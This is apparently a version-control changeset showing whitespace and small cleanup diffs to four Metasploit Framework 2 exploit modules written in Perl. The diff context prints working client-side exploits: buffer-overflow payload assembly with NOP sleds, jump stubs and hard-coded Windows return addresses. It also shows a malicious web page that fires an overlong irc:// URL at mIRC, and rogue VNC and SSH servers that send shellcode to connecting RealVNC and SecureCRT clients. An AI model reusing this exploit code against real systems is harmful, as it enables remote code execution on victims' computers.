Changeset 3811

Show
Ignore:
Timestamp:
08/10/06 01:59:49 (2 years ago)
Author:
hdm
Message:

Cleanups, not done

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved

  • framework2/trunk/exploits/gatekeeper_overflow.pm

    r3810 r3811  
    4242}), 
    4343 
     44        # XXX NEEDS REFS 
    4445        'Refs'  => 
    4546          [ 

  • framework2/trunk/exploits/mirc_url.pm

    r3810 r3811  
    2121        'Chunked'      => [1, 'Enable chunked transfer encoding'], 
    2222  }; 
    23    
     23 
    2424my $info = 
    2525  { 
    …… 
    3232                creating a specially-crafted URL with a long string in the  
    3333                "irc" protocol, a remote attacker can overflow a buffer and  
    34                 execute arbitrary code on the system with privileges of the user. 
     34        execute arbitrary code on the system with privileges of the user. 
    3535}), 
    3636 
    …… 
    5050                'Space'    => 350, 
    5151                'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 
    52                 'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44", 
     52               'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44", 
    5353                'Keys'     => ['-bind', '+ws2ord'], 
    5454          }, 
    5555 
    56         'Encoder' => 
    57           { 
    58                 'Keys' => [ '+alphanum' ], 
    59           }, 
     56       'Encoder' => 
     57         { 
     58               'Keys' => [ '+alphanum' ], 
     59         }, 
    6060 
    6161        'Refs'           => 
    6262          [ 
    63                             [ 'BID', '8819' ], 
     63               [ 'BID', '8819' ], 
    6464          ], 
    6565 
    …… 
    6767        'Targets'        => 
    6868          [ 
    69                 [ 'Windows 2000 Pro All English', 0x75022ac4 ], 
     69               [ 'Windows 2000 Pro All English', 0x75022ac4 ], 
    7070          ], 
    71          
     71 
    7272        'Keys'           => [ 'mirc' ], 
    7373 
    …… 
    9090                Listen    => 1, 
    9191                Proto     => 'tcp' 
    92         ); 
     92          ); 
    9393        my $client; 
    9494 
    …… 
    100100 
    101101        my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ? 
    102                Pex::Utils::SourceIP('1.2.3.4') : 
    103                $self->GetVar('HTTPHOST'); 
     102          Pex::Utils::SourceIP('1.2.3.4') : 
     103          $self->GetVar('HTTPHOST'); 
    104104 
    105105        $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/"); 
    …… 
    119119        # Set the remote host information 
    120120        my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); 
    121                  
    122121 
    123122        # Read the HTTP command 
    124123        my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3); 
    125124        my $agent; 
    126          
     125 
    127126        # Read in the HTTP headers 
    128127        while ((my $line = $fd->RecvLine(10))) { 
    129                  
     128 
    130129                $line =~ s/^\s+|\s+$//g; 
    131                  
     130 
    132131                my ($var, $val) = split(/\:/, $line, 2); 
    133132 
    …… 
    137136                $agent = $val if $var =~ /User-Agent/i; 
    138137        } 
    139          
     138 
    140139        $self->PrintLine("[*] Client connected from $rhost:$rport ($agent)"); 
    141140 
    …… 
    149148        my $target      = $self->Targets->[$self->GetVar('TARGET')]; 
    150149        my $shellcode   = $self->GetVar('EncodedPayload')->Payload; 
    151         my $filler      = $self->MakeNops(1442 - length($shellcode)); 
    152         my $sploit      = $filler. $shellcode. "\xeb\x06\x42\x96". pack('V', $target->[1]). 
    153                           $self->MakeNops(10). "\xe8".pack('V',-435); 
    154         my $data        = qq| 
     150       my $filler      = $self->MakeNops(1442 - length($shellcode)); 
     151       my $sploit      = $filler. $shellcode. "\xeb\x06\x42\x96". pack('V', $target->[1]). 
     152         $self->MakeNops(10). "\xe8".pack('V',-435); 
     153       my $data        = qq| 
    155154     
    156155<html> 
    157156<head> 
    158157        <title>One second please...</title> 
    159         <iframe src=irc://$sploit</iframe> 
     158        <iframe src="irc://$sploit"></iframe> 
    160159</head> 
    161 <body id="oClientCaps"> 
     160<body> 
    162161One second please... 
    163162</body> 

  • framework2/trunk/exploits/realvnc_client.pm

    r3810 r3811  
    4646                'BadChars' => "\x00", 
    4747                'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44", 
    48                 'MaxNops'  => 0, 
     48               'MaxNops'  => 0, 
    4949                'Keys'     => [ '-ws2ord', '-bind' ], 
    5050          }, 
    …… 
    5454                [ 'BID', '2305' ], 
    5555                [ 'CVE', '2001-0167' ], 
    56                 [ 'URL', 'http://www1.corest.com/common/showdoc.php?idxseccion=10&idx=116' ], 
     56               [ 'URL', 'http://www1.corest.com/common/showdoc.php?idxseccion=10&idx=116' ], 
    5757          ], 
    5858 
    …… 
    6363                [ 'Windows 2000 SP4 English',  0x7c2ec68b ], 
    6464                [ 'Windows XP SP2 English',    0x76b43ae0 ], 
    65                 [ 'Windows 2003 SP1 English',  0x76aa679b ], 
     65               [ 'Windows 2003 SP1 English',  0x76aa679b ], 
    6666          ], 
    6767 
    …… 
    9494                ReuseAddr => 1, 
    9595                Listen    => 1, 
    96                 Proto     => 'tcp'); 
     96                Proto     => 'tcp' 
     97        ); 
     98         
    9799        my $client; 
    98100 
    …… 
    126128        ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); 
    127129 
    128         my $filler = $self->MakeNops(993 - length($shellcode));       
     130        my $filler = $self->MakeNops(993 - length($shellcode)); 
    129131 
    130132        my $first = 
    …… 
    132134 
    133135        my $second = 
    134           "\x00\x00\x00\x00\x00\x00\x04\x06". $filler. $shellcode.  
    135           pack('V', $target->[1]). $self->MakeNops(10). "\xe8".pack('V', -457). 
    136           Pex::Text::AlphaNumText(200); 
    137          
     136          "\x00\x00\x00\x00\x00\x00\x04\x06". $filler. $shellcode. 
     137         pack('V', $target->[1]). $self->MakeNops(10). "\xe8".pack('V', -457). 
     138         Pex::Text::AlphaNumText(200); 
     139 
    138140        $self->PrintLine("[*] VNC Client connected from $rhost:$rport..."); 
    139141 
    …… 
    152154 
    153155        $fd->Send($second); 
    154          
     156 
    155157        $self->Handler($fd); 
    156          
     158 
    157159        $fd->Close(); 
    158160} 

  • framework2/trunk/exploits/securecrt_ssh1.pm

    r3810 r3811  
    2929                Beta 2. By sending a vulnerable client an overly long  
    3030                SSH1 protocol identifier string, it is possible to execute 
    31                 arbitrary code.  
     31        arbitrary code.  
    3232}), 
    3333 
    …… 
    5656          [ 
    5757                [ 'BID', '5287' ], 
    58                 [ 'CVE', '2002-1059' ], 
     58               [ 'CVE', '2002-1059' ], 
    5959          ], 
    6060 
    …… 
    6363        'Targets'        => 
    6464          [ 
    65                 [ 'SecureCRT.exe (3.4.4)',      0x0041b3e0 ], 
     65               [ 'SecureCRT.exe (3.4.4)',      0x0041b3e0 ], 
    6666                [ 'Windows 2000 SP4 English',   0x77e14c29 ], 
    6767                [ 'Windows XP SP2 English',     0x77d57447 ], 
    …… 
    130130 
    131131        my $sploit = 
    132           "SSH-1.1-OpenSSH_3.6.1p2\r\n". Pex::Text::AlphaNumText(243).  
    133           pack('V', $target->[1]). $self->MakeNops(20). $shellcode; 
     132          "SSH-1.1-OpenSSH_3.6.1p2\r\n". Pex::Text::AlphaNumText(243). 
     133         pack('V', $target->[1]). $self->MakeNops(20). $shellcode; 
    134134 
    135135        $self->PrintLine("[*] Client connected from $rhost:$rport...");